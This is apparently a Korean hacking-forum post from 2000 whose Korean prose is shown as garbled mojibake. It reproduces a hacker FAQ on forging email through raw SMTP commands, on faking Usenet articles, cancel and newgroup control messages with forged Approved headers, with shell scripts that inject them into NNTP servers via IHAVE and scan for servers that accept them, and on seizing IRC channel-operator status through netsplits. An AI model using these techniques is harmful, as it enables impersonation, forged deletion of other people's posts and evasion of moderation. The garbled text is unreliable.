Hacking °ü·Ã °Ô½ÃÆÇ

2000/08/06(21:34) from 203.255.160.61
ÀÛ¼ºÀÚ : °­ÁÙ±â (jkkang65@hanmail.net) Á¶È¸¼ö : 4573 , ÁÙ¼ö : 264
[°­ÁÂ] À¯´Ð½º¿¡¼­ ÇØÅ·Çϱâ - [3] Æۿ±Û
À§Á¶ ¸ÞÀÏ(E-mail)Àº ¾î¶»°Ô º¸³»³ª?


¸ÞÀÏÀÌ ¿Â °ÍÀ¸·Î º¸ÀÌ°Ô ÇÒ È£½ºÆ®ÀÇ 25 ¹ø Æ÷Æ®·Î telnetÀ» ÇÑ´Ù. ´ÙÀ½ ¿¹
¿Í °°ÀÌ ¸Þ½ÃÁö¸¦ ÃÄ ³Ö´Â´Ù.


HELO bellcore.com

MAIL FROM:voyager@bellcore.com

RCPT TO:president@whitehouse.gov

DATA

From: voyager@bellcore.com (The Voyager)

To: president@whitehouse.gov

Subject: Clipper

Reply-To: voyager@bellcore.com

Please discontinue your silly Clipper initiative.

.

QUIT


RFC 931¿¡ µû¶ó ±¸ÇöµÈ ½Ã½ºÅÛ¿¡¼­ "MAIL FROM:"À» ¼ÓÀÌ´Â °ÍÀº µÇÁö ¾Ê´Â
´Ù. Àڽſ¡°Ô ¸ÕÀú À§Á¶ ¸ÞÀÏÀ» º¸³»¼­ È®ÀÎÇÑ´Ù.

RFC 822 "Standard for the format of ARPA Internet text
messages"¿¡ ´õ ¸¹Àº Á¤º¸°¡ ÀÖ´Ù.




Usenet¿¡¼­´Â ¾î¶»°Ô À§Á¶ ¸Þ½ÃÁö¸¦ Á¶ÀÛÇÏ°í Æ÷½ºÆÃÇÒ ¼ö ÀÖ³ª?


From: Anonymous (Pretending to be: tale@uunet.uu.net (David C
Lawrence))

Subject: FAQ: À§Á¶¸¦ ÅëÇÑ ´õ ³ªÀº »î Date: 19 Mar 1995 02:37:09
GMT

"anonymous" ÀçÀü¼Û ¸ÞÀÏÀ» ÀÌ¿ëÇÏÁö ¾Ê´Â ÀÍ¸í ³Ý´º½º(netnews).

ÃÖ±Ù "NetNews Judges-L"¿¡ ¿µ°¨À» ¾ò¾î¼­, ¿©±â¼­ Á¦¾î ¸Þ½ÃÁö¸¦ À§Á¶ÇÏ´Â
°ÍÀ» Æ÷ÇÔÇϵµ·Ï ÇÏ¿´´Ù. µû¶ó¼­ µ¶ÀÚµéÀº ÀÚ½ÅÀÇ Åõ°í¸¦ Ãë¼ÒÇÏ°í ÀÚ½ÅÀÇ ´º
½º±×·ìÀ» »ý¼ºÇÏ°í »èÁ¦ÇÒ ¼ö ÀÖ°Ô µÇ¾ú´Ù. ¾î¶² ´º½º ±â»çµéÀ» ÀúÀåÇ϶ó. ¿©
±â¼­´Â ±×°ÍÀ» "hak"À̶ó°í ¿¹¸¦ µé¾î ºÎ¸£°Ú´Ù. "hak"À» ÆíÁýÇÏ°í ¹®¼­Çü½Ä
¿¡¼­ ÇØ´õ´Â Á¦°ÅÇÑ´Ù.

From some!random!path!user (note: "From ", not "From: " !!)

Article:

Lines:

Xref:

Path: ÀÇ Çì´õ¸¦ ¸¶Áö¸· µÎ ¼¼ °³ÀÇ ±îÁö·Î ÁÙÀδÙ.

ÀÌ°ÍÀº ´º½º ±â»ç°¡ ¿ø·¡ÀÇ °÷¿¡¼­ Æ÷½ÃÆà µÈ °Íó·³ º¸À̰ųª, º¸³½ °÷ÀÇ ±Ù
óÀÇÈ£½ºÆ®¿¡¼­ º¸³½ °Í ó·³ ¸¸µç´Ù. ¶Ç´Â ÀüÇô »õ·Î¿î Path: ÁÙÀ» ¸¸µé¾î
¼­ °¡Â¥ ¿¡Àϸ®¾î½º(alias)¸¦ ³ªÅ¸³»°Ô ÇÒ ¼ö ÀÖ´Ù.

´Ù¸¥ °÷°ú °ãÄ¡Áö ¾ÊÀ»¸¸ÇÑ °ÍÀ¸·Î Message-ID: Çʵ带 º¯°æÇÑ´Ù. ÀÌ°ÍÀº @¾Õ
¿¡ µÎ ÀÚ Á¤µµÀÇ ¾Æ¹« ±ÛÀÚ³ª Ãß°¡ÇÔÀ¸·Î¼­ ÇÒ ¼ö ÀÖ´Ù. ¿Ö³ÄÇÏ¸é ´º½º Æ÷½º
Æà ÇÁ·Î±×·¥Àº ´ë°³ °íÁ¤±æÀÌ Çʵ带 ÀÌ¿ëÇÏ¿© ÀÌ·¯ÇÑ ID¸¦ ¸¸µé±â ¶§¹®ÀÌ´Ù.
¾²°í ½ÍÀº ¾Æ¹« °ÍÀ̳ª¸¦ ´Ù¸¥ ÇØ´õ¿¡ ³Ö´Â´Ù. --From:, Newsgroups:,
Sender: µî. ¿ø·¡ÀÇ ¸Þ½ÃÁö¸¦ ÀÚ½ÅÀÇ ¸Þ½ÃÁö·Î ¹Ù²Û´Ù. °ü¸®µÇ°í ÀÖ´Â ´º½º±×
·ì¿¡ Æ÷½ºÆÃÀ» ÇÒ ¶§³ª Á¦¾î ¸Þ½ÃÁö¸¦ Æ÷½ÃÆÃÇÒ ¶§, Approved: Çì´õ¸¦ ³Ö¾î
¼­ °ü¸® ¸ÞÄ«´ÏÁòÀ» ÇÇÇØ°¡´Â °ÍÀ» ÀØÁö ¸»¾Æ¾ß ÇÑ´Ù.

´Ù¸¥ »ç¶÷ÀÇ ±â»ç¸¦ Ãë¼ÒÇÒ·Á°í ÇÒ ¶§, ±×°ÍÀÇ message-ID°¡ ÀÖ¾î¾ß ÇÑ´Ù. ÀÌ
¹Ì ÀÖ´Â ¸Þ½ÃÁö Çì´õ¿Í ÀÚ½ÅÀÇ ¸Þ½ÃÁö Çì´õ´Â message-ID¿Í ´õºÒ¾î ´ÙÀ½°ú °°
Àº °ÍÀ» Æ÷ÇÔÇØ¾ß ÇÑ´Ù. ÀÌ°ÍÀº "control message"¸¦ ¸¸µç´Ù. ÁÖÀÇ: Á¦¾î
¸Þ½ÃÁö(control messages)´Â ´ë°³ Approved: ÇØ´õ°¡ ÇÊ¿äÇϹǷΠÇϳª¸¦ Ãß
°¡Çϵµ·Ï ÇÑ´Ù.

Approved: header as well, so you should add one.

Subject: cmsg cancel

Control: cancel

Approved: luser@twits.site.com

Newsgroups are created and destroyed with control messages,
too. If

you wanted to create, for instance, comp.misc.microsoft.sucks,
your

control headers would look like

Subject: cmsg newgroup comp.misc.microsoft.sucks

Control: newgroup comp.misc.microsoft.sucks

±×·ìÀÌ "moderated with no moderator"(°ü¸®ÀÚ¾øÀÌ °ü¸®µÊ)À» ¿øÇÒ °æ¿ì
¹®ÀÚ¿­ "moderated"¸¦ ÀÌ ³¡¿¡ ºÙÀδÙ. ¸Þ½ÃÁöÀÇ º»¹® Áß°£¿¡ »ý¼ºÇÏ·Á´Â ±×
·ì¿¡ ´ëÇÑ ¼³¸í°ú ÇÔ²² º¯°æµÈ ´ÙÀ½°ú °°Àº ÅؽºÆ®¸¦ Æ÷ÇÔÇØ¾ß ÇÑ´Ù.

For your newsgroups file:

comp.misc.microsoft.sucks We don't do windows

±×·ìÀ» ¾ø¾Ö±â À§Çؼ­ ¾ÕÀÇ Çì´õ ÁÙ¿¡¼­ "newsgroup"¸¦ "rmgoup"À¸·Î ´ëÄ¡ÇÑ
´Ù.
´ëºÎºÐÀÇ »çÀÌÆ®¿¡¼­ "rmgroup" ¿äûÀ» °ü¸®ÇÏ´Â »ç¶÷ÀÌ ±×·¸°Ô ÇÒ °ÍÀÎÁö ¾Æ
´ÑÁö¸¦ Á¤ÇÏ°Ô ÇÏ°í ÀÖ´Ù´Â °ÍÀ» ¸í½ÉÇÏÀÚ. ±×·ì »ý¼ºÀº ¾Æ¸¶µµ »èÁ¦º¸´Ù´Â ÀÚ
µ¿È­µÇ¾î ÀÖÀ» °ÍÀÌ´Ù. ´º½º±×·ì º¯°æÀº ³ª ÀÚ½ÅÀ¸·ÎºÎÅÍÀÇ °ÍÀÏ °æ¿ì È¿°ú°¡
ÀÖÀ» °¡´É¼ºÀ̳ô´Ù. ¿Ö³ÄÇÏ¸é ³ªÀÇ À̸§ÀÌ ¸¹Àº NNTP ¼­¹öÀÇ Á¦¾î ½ºÅ©¸³Æ®¿¡
µé¾î Àֱ⠶§¹®ÀÌ´Ù. µû¶ó¼­ ÀÌ Æ÷½ºÆÃÀÇ Çì´õ·ÎºÎÅÍ From: °ú Approved:
À» ÀÌ¿ëÇÏÀº °ÍÀ» ±Ç°íÇÑ´Ù.

º¯°æµÈ ±â»ç¸¦ ÀúÀåÇÏ°í ÀÚ½ÅÀÇ »çÀÌÆ®³ª ÀÚ½ÅÀ» °¡¸®Å°´Â °ÍÀÌ ¾øµµ·Ï È®½ÇÇÏ
°Ô ÇÑ´Ù. ±×¸®°í ÀÚ½ÅÀÌ Á¦ÀÏ ÁÁ¾ÆÇÏ´Â IHAVE ¸í·ÉÀ» Àü´ÞÇÒ ¼ö ÀÖ´Â NNTP ¼­
¹ö¿¡ º¸³½´Ù. ÀÌ ¶§ ´ÙÀ½°ú °°Àº ½ºÅ©¸³Æ®¸¦ ÀÌ¿ëÇÑ´Ù.


=======================

#! /bin/sh

## Post an article via IHAVE.

## args: filename server

if test "$2" = "" ; then

echo usage: $0 filename server

exit 1

fi

if test ! -f $1 ; then

echo $1: not found

exit 1

fi

# suck msg-id out of headers, keep the brackets

msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \

sed 's/.*-[Ii][Dd]: //'`

echo $msgid

( sleep 5

echo IHAVE $msgid

sleep 5

cat $1

sleep 1

echo "."

sleep 1

echo QUIT ) | telnet $2 119

=======================

±â»ç°¡ ÇϷ糪 ÀÌƲ »çÀÌ¿¡ ³ªÅ¸³ªÁö ¾ÊÀ» °æ¿ì, ´Ù¸¥ ¼­¹ö¸¦ ½ÃµµÇغ»´Ù. ¼­
¹ö´Â ã±â ½±´Ù. ¿©±â¿¡ ÀúÀåµÈ ³×Æ®´º½º¸¦ ½ÃµµÇØ º¼ ¼ö ÀÖ´Â ¼­¹öÀÇ ¸ñ·ÏÀ¸
·Î ³ª´©¾îÁÖ´Â ½ºÅ©¸³Æ®°¡ ÀÖ´Ù. ¿©±â¼­ ³ª¿À°Ô µÉ °á°ú¸¦ ÆíÁýÇÏ¿© »ç¶÷ À̸§
ÀÌ ºÐ¸íÇÑ °Í°ú ´Ù¸¥ ¾²·¹±âµéÀ» Á¦°ÅÇÏ°í »ç¿ëÇÏ¸é µÈ´Ù.

=======================

#! /bin/sh

FGV='fgrep -i -v'

egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\

/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp

=======================

Once you have your host list, feed it to the following script.

=======================

#! /bin/sh

while read xx ; do

if test "$xx" = "" ; then continue;

fi

echo === $xx

( echo open $xx 119

sleep 5

echo ihave IamSOk00l@podunk.edu

sleep 4

echo .

echo quit

sleep 1

echo quit

) | telnet

done

=======================

À§ÀÇ ½ºÅ©¸³Æ®ÀÇ À̸§ÀÌ "findem"ÀÌ°í cshÀ» ÀÌ¿ëÇÏ°í ÀÖ´Ù¸é,

findem < list >& outfile

¶ó°í ¸í·É¾î¸¦ ÀÔ·ÂÇÏ¿© ¸ðµç telnetÀÇ Ãâ·ÂÀ» ÀúÀåÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù. ½Ã°£
ÀÌ ¿À·¡°É¸± ¼öµµ ÀÖÀ¸³ª, ³¡³ª¸é "outfile"À» ÆíÁýÇÏ°í "335"°¡ ÀÖ´Â °÷À»
ã´Â´Ù.
ÀÌ°ÍÀº ¼­¹ö°¡ ±â»ç¸¦ ¹ÞÀ» Áغñ°¡ µÇ¾ú´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ÀÌ°ÍÀº ¿ÏÀüÈ÷
¹ÏÀ»¸¸ÇÑ Ç¥½Ã´Â ¾Æ´Ï´Ù. ¿Ö³ÄÇÏ¸é ¾î¶² ¼­¹ö´Â ±â»ç¸¦ ¹Þ°Ú´Ù°í ÀÀ´äÀ» ÇÏ°í
³ª¼­ ±â»ç¸¦ ¹ö¸®´Â °æ¿ìµµ Àֱ⠶§¹®ÀÌ´Ù. ´Ù¸¥ »ç¶÷ÀÇ ¸Þ½ÃÁö¸¦ ¾à°£¸¸ º¯Çü
Çؼ­ ¼­¹ö¿¡ º¸³»º» µÚ ±â»ç³ª ³ªÅ¸³ª´ÂÁö¸¦ È®ÀÎÇÑ´Ù. ¶§¶§·Î telnetÀÌ ÀÌ»ó
ÇÑ »óÅ¿¡ ºüÁ® ¸ØÃ߱⵵ ÇÑ´Ù. ƯÈ÷ ¼­¹ö°¡ NNTP ¿¬°áÀ» °ÅºÎÇÏ´Â °æ¿ì¿¡ Ư
È÷ ±×·¸´Ù. ¸¸ÀÏ ¸ØÃß¾î ¹ö¸° telnet ÇÁ·Î¼¼½º¸¦ kill¸í·ÉÀ¸·Î Á×ÀÌ°í ½ºÅ©¸³
Æ®´Â ¼öÇà»óÅ·Π³õ¾ÆµÐ´Ù¸é, ½ºÅ©¸³Æ®´Â °è¼Ó ¼öÇàµÈ´Ù. ´Ù½Ã ¸»Çؼ­ ¼öÇàÁß
ÀÎ finding script¸¦ Àá½Ã °¨½ÃÇØ¾ß ÇÑ´Ù.

IHAVE ¸¦ ¹Þ¾ÆµéÀÌÁö ¾ÊÀ¸¸é¼­ "posting ok"¸¦ º¸³»´Â ¼­¹ö¸¦ ¹ß°áÇÒ ¼öµµ
ÀÖ´Ù.
ÀÌ·± ¼­¹öµéÀº POSTS¸¦ ÅëÇؼ­ ÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ±×·¯³ª, ÀÌ·± ¼­¹öµéÀº
¾îµð¼­ºÎÅÍ ¿¬°áµÈ °ÍÀÎÁö¸¦ Æ÷ÇÔÇÏÀº Çì´õ¸¦ °¡Áö´Â "NNTP-Posting-
Host: "¸¦ Ãß°¡ÇÒ °ÍÀÌ´Ù. ±×·¯¹Ç·Î ¿ÏÀüÈ÷ À͸íÀÌ µÉ ¼ö ¾ø´Ù.

¿©±â¿¡ ³ª¿Â Á¤º¸¸¦ °Ç¼³ÀûÀÎ ¸ñÀûÀ¸·Î¸¸ »ç¿ëÇϱ⸦ ¹Ù¶õ´Ù.




IRC¿¡¼­ ¾î¶»°Ô ChanOp(channel operator)¸¦ ÇØÅ·ÇÒ ¼ö ÀÖ³ª?


´Ù¸¥ IRC ¼­¹öµé°ú ºÐ¸®µÈ ¼­¹ö¸¦ ã¾Æ³½´Ù. ±×¸®°í ä³Î OP°¡ µÇ°í ½ÍÀº ä
³ÎÀÇ À̸§À» °¡Áö°í »õ·Î¿î ä³ÎÀ» ¸¸µç´Ù. ¼­¹ö°¡ IRC ³×Æ®¿öÅ©¿¡ ¿¬°áµÉ
¶§, ½ÇÁ¦ ä³Î¿¡¼­µµ OP±î µÈ´Ù. ¼­¹ö OPÀÏ °æ¿ì °íÀÇ·Î ¼­¹ö¸¦ ºÐ¸®ÇÒ ¼ö ÀÖ
´Ù.

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